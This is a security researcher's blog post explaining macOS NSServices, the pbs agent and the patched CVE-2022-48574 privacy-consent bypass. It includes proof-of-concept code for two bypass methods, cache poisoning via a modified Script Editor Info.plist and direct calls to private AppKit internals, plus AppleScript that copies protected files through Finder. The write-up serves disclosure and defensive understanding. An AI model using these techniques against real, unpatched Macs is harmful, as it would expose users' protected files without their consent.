Moonlock Lab

The macOS NSServices vulnerability that allowed to bypass TCC

Mykola N.

Oct 4, 20238 min read

NSServices in macOS and the vulnerability that exploited it: Header image

NSServices is a powerful and versatile inter-application communication mechanism within the macOS ecosystem, designed to enhance user productivity and streamline application interactions. Unfortunately, a vulnerability in a simple consent prompt allowed bad actors to access protected user files. So, how does NSServices work and why was it previously vulnerable to attacks?

At its core, NSServices empowers applications to provide and consume services seamlessly, allowing for efficient data sharing and functionality integration. This feature transforms the macOS experience by enabling users to perform tasks across different applications with ease, from text manipulation to complex data processing. In this article, we will dive into the world of NSServices, exploring its inner workings, use cases, and security measures behind it.

Note that this article is not about Services programming, which can be found in a comprehensive Services Implementation Guide. Here, we will review the basics with a focus on how all the involved components work, how the security features of this subsystem are implemented, and how they were abused in the past.

The basics of NSServices

Implementing NSServices in macOS requires configuring your application to offer specific services that can be invoked by other applications or by the system. In the Info.plist file, you’ll need to add an NSServices dictionary that describes the services your application provides. Each service should have a unique name (NSMenuItem title), the name of the method in your application that handles the service (NSMessage), and a name for the service’s connection (NSPortName).

<key>NSServices</key>
<array>
    <dict>
        <key>NSMenuItem</key>
        <dict>
            <key>default</key>
            <string>MyService</string>
        </dict>
        <key>NSMessage</key>
        <string>handleMyService:</string>
        <key>NSPortName</key>
        <string>MyAppService</string>
    </dict>
</array>

In your app code, you’ll need to implement methods that match the names specified in NSMessage. These methods should accept an NSPasteboard object and optionally return an NSError.

@objc func handleMyService(_ pboard: NSPasteboard, userData: String, error: AutoreleasingUnsafeMutablePointer<NSString>) -> Bool {
    // Implement the service functionality here
    return true // Indicate success
}

In your app, delegate a relevant class and register the service handlers. Set your app as the service provider.

NSApp.servicesProvider = self

Next, to make the service visible and available to all applications, install it into one of the following folders:

  1. ~/Library/Services/
  2. /Applications
  3. /Library/Services

The system scans these folders in the specified order. The process responsible for this is called pbs.

How the pbs Services agent functions

The pbs agent for the Services menu scans for and vends available Services to populate the Services menu. Historically, pbs had responsibilities that ranged from pasteboard management to Unicode glyph generation. Now, it is only used for Services.

The pbs agent is located in /System/Library/CoreServices/pbs.

This gives users the option to list and re-scan all available services in system Services.

$ /System/Library/CoreServices/pbs<br>Usage: pbs [-debug] [-dump] [-dump_cache] [-read_bundle file] [-update] [-flush] language1 language2....

In addition, pbs is also registered as the launch agent com.apple.pbs that provides com.apple.pbs.fetch_services XPC service.

$ launchctl list com.apple.pbs
{
	"LimitLoadToSessionType" = "Aqua";
	"MachServices" = {
		"com.apple.pbs.fetch_services" = mach-port-object;
	};
	"Label" = "com.apple.pbs";
	"OnDemand" = true;
	"LastExitStatus" = 0;
	"PID" = 632;
	"Program" = "/System/Library/CoreServices/pbs";
};

AppKit.framework uses com.apple.pbs.fetch_services XPC behind the scenes of Services’ high-level APIs to fetch or update all registered services, and pbs utilizes a File System Events API to monitor for newly installed services.

Other files related to pbs are:

  • ~/Library/Preferences/pbs.plist, which contains system-wide preferences that can be configured at System Preferences -> Keyboard -> Keyboard Shortcuts -> Services
  • ~/Library/Caches/com.apple.nsservicescache.plist, containing a registered services cache used to speed up the Services lookup function.
  • /System/Library/CoreServices/com.apple.NSServicesRestrictions.plist, which contains NSRestricted and NSUnrestricted dictionaries. Without this configuration file, all system-provided services are restricted by default.
A screenshot of the macOS Services menu.
Spotlight, Launchpad, and Mission Control are trademarks of Apple Inc.

NSRestricted in Services

The main security feature behind the NSServices is NSRestricted. It was implemented to protect against app sandbox escape vulnerabilities.

The execution of such services requires explicit user consent. In the following example, we selected some text and invoked the Run as AppleScript service from Safari’s Context menu -> Services.

A screenshot of the Confirm Service prompt in Safari.

As previously mentioned, com.apple.NSServicesRestrictions.plist configures all of Apple’s provided Services restrictions. To set up your own restricted services, you’ll need to add an NSRestricted property with a YES value in the NSServices dictionary in the Info.plist file.

Here is a list of all of Apple’s NSRestricted Services (from macOS Ventura 13.5.2):

# To obtain the full services list use
$ /System/Library/CoreServices/pbs -dump
  1. /System/Applications/Utilities/Bluetooth File Exchange.app
    • Send File To Bluetooth Device
  2. /System/Library/CoreServices/Applications/Folder Actions Setup.app
    • Folder Actions Setup
  3. /System/Applications/Utilities/Script Editor.app
    • Script Editor/Run as AppleScript
    • Script Editor/Get Result of AppleScript
  4. /System/Library/CoreServices/Finder.app
    • Finder/Open
  5. /System/Library/Services/Add to Music as a Spoken Track.workflow
    • Add to Music as a Spoken Track
  6. /System/Library/Services/Show Map.workflow
    • Show Map
  7. /System/Library/CoreServices/SystemUIServer.app
    • Open URL

How the CVE-2022-48574 vulnerability worked

A noteworthy vulnerability discovered in the Services mechanism in macOS was CVE-2022-48574. This vulnerability allowed malicious actors to gain access to TCC-protected user files without getting confirmation from the user. The CVE-2022-48574 vulnerability has since been corrected, but we can learn a lot from it.

Among Apple’s restricted services, the most interesting are those provided by Script Editor.app. Looking at its entitlements, we can see a lot of TCC privacy access grants.

$ codesign -d --entitlements :- /System/Applications/Utilities/Script\ Editor.app
...
"com.apple.private.tcc.allow": [
    "kTCCServiceAddressBook",
    "kTCCServiceAppleEvents",
    "kTCCServiceCalendar",
    "kTCCServiceReminders"
],
...

The most valuable of these is kTCCServiceAppleEvents, an app that can automate any other app without a TCC prompt.

You can use Script Editor‘s Dictionary Viewer File -> Open Dictionary to see all apps’ automation APIs.

The Open Dictionary viewer and its list of dictionaries.
AppleScript, Finder, Keychain are trademarks of Apple Inc. Firefox is a trademark of the Mozilla Foundation. Google Chrome is a trademark of Google LLC.

For example, a user could use the Finder‘s automation APIs to manipulate FDA-protected files.

set fromPath to POSIX file "/path/to/file"
set toPath to POSIX file "/tmp/path/to/file_copy" as alias
tell application "Finder"
    duplicate fromPath to toPath with replacing
end tell

We can also invoke Script Editor/Run as AppleScript programmatically using NSPerformService to execute our AppleScript, although a Confirm Service consent prompt will be shown.

import Foundation
import AppKit

let pb = NSPasteboard.pasteboardWithUniqueName()
pb.setString("-- script here", forType: NSPasteboard.PasteboardType)
NSPerformService("Script Editor/Run as AppleScript", pb)

The idea behind CVE-2022-48574 was to bypass this service consent prompt. During research, it was discovered that there were a couple of ways to accomplish this.

The first method for bypassing the Services consent prompt was through Services cache poisoning. This vulnerability takes advantage of the fact that directories scanned for newly installed or updated services and services installed at ~/Library/Services/ have priority over the System’s directories.

The overall algorithm works as follows.

  1. Copy and modify Script Editor.app and add NSRestricted with NO value to the NSServices dictionary of the specified service into Info.plist.
<key>NSServices</key>
<array>
    ...
    <dict>
        <key>NSMenuItem</key>
        <dict>
            <key>default</key>
            <string>Script Editor/Run as AppleScript</string>
        </dict>
        <key>NSMessage</key>
        <string>runAsAppleScript</string>
        <key>NSPortName</key>
        <string>Script Editor</string>
        <key>NSSendTypes</key>
        <array>
            <string>NSStringPboardType</string>
        </array>

        <!-- HERE WE GO -->
        <key>NSRestricted</key>
        <false/>

    </dict>
    ...
</array>
  1. Flush services cache
$ /System/Library/CoreServices/pbs -flush
  1. Launch original Script Editor.app
  2. Invoke NSPerformService with the Script Editor/Run as AppleScript service and custom AppleScript pasteboard payload

The problem here was how pbs handled identical services. Due to a lack of signature validation and how the Services lookup was implemented, it was possible to override the system’s restrictions.

The second way to bypass the Services consent prompt was to just call an internal stuff, directly bypassing the consent prompt because the prompt was triggered in AppKit.framework on the caller's side.

void* handle = dlopen("/System/Library/Frameworks/AppKit.framework/AppKit", RTLD_LAZY);
Class nsservicemaster = objc_getClass("NSServiceMaster");
id service = objc_msgSend(nsservicemaster, sel_registerName("copyServiceForAppIdentifier:messageName:"), @"com.apple.ScriptEditor2", @"runAsAppleScript");

NSString *contentString = @"-- script here";
NSPasteboard* pboard = [NSPasteboard pasteboardWithUniqueName];
[pboard setString:contentString forType:NSPasteboardTypeString];

id result = objc_msgSend(nsservicemaster, @selector(internalRunService:pboard:requestingApp:flags:cancelledHint:), service, pboard, @"Text Editor", 3, "");

Apple has since fixed this issue by moving all the logic of NSRestricted validation and other bundle checks to NSServiceListener side from AppKit.framework.

The following methods did all the dirty work:

-[NSServiceListener _verifyAgainstBundleWithServiceName:message:restricted:]:
-[NSServiceListener _verifyService:requestRestricted:isAppleApp:]:

The NSRestricted flag was now passed to the listener in a qualified service message as a string BOOL value in the form Script Editor/Run as AppleScript$$runAsAppleScript$$YES.

Additionally, the _verifyService:requestRestricted:isAppleApp: method checks the NSRestricted field from the Services dictionary in Info.plist. If it is present, the value will be compared and passed to the listener in a qualified message. If the value is not equal or equal to “YES,” the consent prompt will be shown.

It should also be noted that Apple added a new security mechanism called launch environment and library constraints that reduces the landscape of the system and the potential tampering of third-party apps.

NSServices and macOS security

In the ever-evolving landscape of macOS development, NSServices have proven to be a versatile tool for enhancing inter-application communication and user experience. However, the CVE-2022-48574 vulnerability taught us that even such crucial elements of the system can be compromised.

Again, it’s worth noting that Apple has since patched this vulnerability. As we conclude our exploration of NSServices and their role in the macOS ecosystem, it is essential to highlight the significant impact these services have had and the concurrent improvements in Apple’s security measures.

This is an independent publication and it has not been authorized, sponsored, or otherwise approved by Apple Inc. macOS and Mac are trademarks of Apple Inc.

Mykola N. Mykola N.
Mykola is a macOS security researcher and malware analyst with 20 years of experience in several cybersecurity areas. He is a participant of the Apple Security Bounty program and has earned multiple rewards for his reports on macOS vulnerabilities.